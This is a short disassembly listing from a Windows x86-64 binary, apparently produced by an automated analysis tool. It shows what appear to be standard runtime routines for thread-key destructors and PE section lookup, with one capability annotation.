mov rbx, qword [0x6bb0a8a0]
test rbx, rbx
je 0x6bac2544
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x6bac253b
test r12, r12
je 0x6bac253b
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x6bac2520
lea rcx, [0x6bb0a8c0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x6bac2880
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r10, qword [0x6bb07260]
xor r8d, r8d
cmp word [r10], 0x5a4d
mov r9, rcx
jne 0x6bac28f9
mov rcx, r10
call fcn.6bac2750
test eax, eax
je 0x6bac28f9
movsxd rax, dword [r10 + 0x3c]
mov rcx, r9
sub rcx, r10
add r10, rax
movzx eax, word [r10 + 0x14]
lea r8, [r10 + rax + 0x18]
movzx eax, word [r10 + 6]
test eax, eax
je 0x6bac28f6
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [r8 + rax*8 + 0x28]
nop dword [rax]
mov edx, dword [r8 + 0xc]
mov rax, rdx
cmp rcx, rdx
jb 0x6bac28ed
add eax, dword [r8 + 8]
cmp rcx, rax
jb 0x6bac28f9
add r8, 0x28
cmp r8, r9
jne 0x6bac28d8
xor r8d, r8d
mov rax, r8
add rsp, 0x28
ret